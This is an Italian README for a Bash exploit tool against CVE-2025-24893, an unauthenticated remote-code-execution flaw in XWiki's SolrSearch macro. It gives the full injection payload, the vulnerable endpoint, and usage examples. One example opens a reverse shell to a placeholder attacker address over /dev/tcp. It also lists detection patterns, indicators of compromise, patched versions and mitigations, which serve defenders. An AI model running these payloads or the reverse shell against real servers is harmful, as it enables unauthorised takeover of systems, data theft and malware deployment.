
Panoramica
Questo script è un'implementazione Bash rivisitata di un exploit che colpisce le versioni della piattaforma XWiki affette da CVE-2025-24893. Sfrutta una critica vulnerabilità di esecuzione di codice remoto non autenticata che consente agli attaccanti di eseguire codice Groovy arbitrario tramite un difetto di template injection nella macro SolrSearch.
Le implementazioni originali dell'exploit in Python sono state create da vari ricercatori di sicurezza e sono qui adattate per utenti Bash con esecuzione semplificata e usabilità migliorata.
Dettagli della Vulnerabilità
- Scopritore: John Kwak (Zero Day Initiative di Trend Micro)
- CVE: CVE-2025-24893
- Punteggio CVSS: 9.8 (Critico)
- Riferimenti:
- Descrizione: La vulnerabilità deriva da una sanitizzazione impropria dell'input nella macro SolrSearch all'interno di XWiki Platform. La macro non riesce a convalidare e sanificare correttamente l'input fornito dall'utente nel parametro
text quando viene acceduto tramite l'endpoint RSS media, permettendo agli attaccanti di iniettare codice Groovy malevolo nella pipeline di rendering senza autenticazione.
Versioni Affette e Corrette
Versioni Affette
- XWiki Platform: 5.3-milestone-2 fino a 15.10.10
- XWiki Platform: 16.0.0-rc-1 fino a 16.4.0
Versioni Corrette
- XWiki 15.10.11 o successiva
- XWiki 16.4.1 o successiva
- XWiki 16.5.0RC1 o successiva
Caratteristiche
- RCE non autenticata: Esegue comandi di sistema arbitrari senza autenticazione.
- Bypass del token CSRF: Sfrutta l'iniezione di template senza richiedere token CSRF.
- Esecuzione in background: Esegue comandi in modo asincrono sul server di destinazione.
- Interfaccia a riga di comando semplice: Script Bash facile da usare con dipendenze minime.
Prerequisiti
- Dipendenze:
curl: Per inviare richieste HTTP.
jq: Per la codifica URL del payload.
- Shell Bash.
- Ambiente testato: Sistema operativo Linux con Bash.
Utilizzo
Fornisci i permessi di esecuzione:
Esegui lo script con gli argomenti richiesti:
./CVE-2025-24893 <target_url> <command>
Parametri
| Parametro | Descrizione |
|---|
<target_url> | L'URL XWiki di destinazione (es., http://example.com o https://xwiki.example.org). Il protocollo è opzionale. |
<command> | Il comando di sistema da eseguire sul server di destinazione. |
Esempio
Verifica se il target è vulnerabile (esegui il comando id):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"
Recupera informazioni di sistema:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"
Crea un file di test:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"
Reverse shell (sostituisci con il tuo IP e porta):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"
Flusso di lavoro dello script
-
Analisi degli argomenti da riga di comando:
- Verifica che sia l'URL di destinazione sia il comando siano forniti.
- Normalizza l'URL aggiungendo
http:// se non è specificato alcun protocollo.
-
Costruzione del payload:
- Crea un payload Groovy che esegue il comando specificato usando
.execute().
- Avvolge il payload nella sintassi macro XWiki:
}}}{{async async=false}}{{groovy}}<codice>{{/groovy}}{{/async}}
-
Codifica URL:
- Codifica URL del payload usando
jq per una corretta trasmissione HTTP.
-
Sfruttamento:
- Invia una richiesta HTTP GET all'endpoint SolrSearch vulnerabile:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload_codificato>
- Il comando viene eseguito in background sul server di destinazione.
Dettagli Tecnici
Meccanismo di Sfruttamento
La catena di sfruttamento funziona come segue:
- Iniezione di template: L'attaccante crea un payload malevolo contenente codice Groovy avvolto nella sintassi macro XWiki.
- Indirizzamento all'endpoint: Il payload viene inviato all'endpoint RSS SolrSearch vulnerabile.
- Esecuzione del codice: Il codice Groovy iniettato viene eseguito lato server senza autenticazione.
- Compromissione del sistema: L'attaccante ottiene l'esecuzione di codice arbitrario con i privilegi dell'applicazione XWiki.
Struttura del Payload
}}}{{async async=false}}{{groovy}}'<comando>'.execute();{{/groovy}}{{/async}}
}}} - Chiude qualsiasi contesto macro esistente
{{async async=false}} - Assicura l'esecuzione sincrona
{{groovy}}...{{/groovy}} - Avvolge il codice Groovy malevolo
'<comando>'.execute(); - Esegue il comando di sistema specificato
Prova di Concetto
Configurazione dell'ambiente vulnerabile
A scopo di test, puoi configurare un'istanza XWiki vulnerabile usando Docker:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
Demo di sfruttamento
# Attendi l'avvio di XWiki (potrebbe richiedere 1-2 minuti)
./CVE-2025-24893 http://localhost:8080 "whoami"
Impatto
Lo sfruttamento riuscito di questa vulnerabilità consente a un attaccante non autenticato di:
- Eseguire comandi di sistema arbitrari sul server
- Leggere, modificare o eliminare dati sensibili
- Compromettere l'intera installazione XWiki
- Spostarsi verso altri sistemi sulla rete
- Distribuire miner di criptovalute o altro malware
- Stabilire un accesso backdoor persistente
Sfruttamento nel Mondo Reale
Secondo CISA e diversi vendor di sicurezza:
- Sfruttamento attivo: CVE-2025-24893 viene attivamente sfruttato in natura
- Campagne di attacco: VulnCheck ha rilevato catene di attacco a due stadi che distribuiscono miner di criptovalute
- Catalogo KEV di CISA: Aggiunto al catalogo delle vulnerabilità note sfruttate il 30 ottobre 2025
- Scansione diffusa: Scansione massiva a livello Internet per istanze vulnerabili
Rilevamento e Mitigazione
Rilevamento
Monitora richieste sospette verso l'endpoint SolrSearch:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
Cerca pattern contenenti:
{{groovy}}
{{async}}
.execute()
- Variazioni codificate URL di quanto sopra
Indicatori di Compromissione (IoCs)
- Processi inaspettati generati dall'utente dell'applicazione XWiki
- Nuovi file in
/tmp o altre directory scrivibili
- Connessioni di rete in uscita verso IP sconosciuti
- Processi di mining di criptovalute (elevato utilizzo CPU)
Mitigazione
-
Aggiorna XWiki a una versione corretta:
- Versione 15.10.11 o successiva
- Versione 16.4.1 o successiva
- Versione 16.5.0RC1 o successiva
-
Applica soluzioni temporanee (se l'aggiornamento immediato non è possibile):
- Limita l'accesso all'endpoint SolrSearch tramite Web Application Firewall (WAF)
- Disabilita la macro SolrSearch se non necessaria
- Implementa segmentazione di rete per limitare l'esposizione
-
Monitora per compromissioni:
- Esamina i log per tentativi di sfruttamento
- Controlla modifiche non autorizzate ai file
- Scansiona per miner di criptovalute e backdoor
Limitazioni
- I comandi vengono eseguiti in background; l'output potrebbe non essere immediatamente visibile.
- La verifica dell'esecuzione del comando richiede metodi di canale laterale (es., creazione di file, connessioni di rete).
- Richiede che il target abbia la macro SolrSearch abilitata (configurazione predefinita).
Crediti
- Scopritore della vulnerabilità: John Kwak (Zero Day Initiative di Trend Micro)
- Autori originali dell'exploit Python: Vari ricercatori di sicurezza
- Script adattato: Rivisitato da [0xdtc] Costruito in BASH
Disclaimer
Questo script è solo a scopo educativo. L'uso non autorizzato di questo strumento contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione è illegale e non etico. Usalo responsabilmente.
Devi avere un'autorizzazione scritta esplicita dal proprietario del sistema prima di testarlo.
Gli autori di questo strumento non sono responsabili per qualsiasi uso improprio o danno causato da questo script. Gli utenti sono gli unici responsabili di assicurarsi di avere la corretta autorizzazione e di rispettare tutte le leggi e i regolamenti applicabili.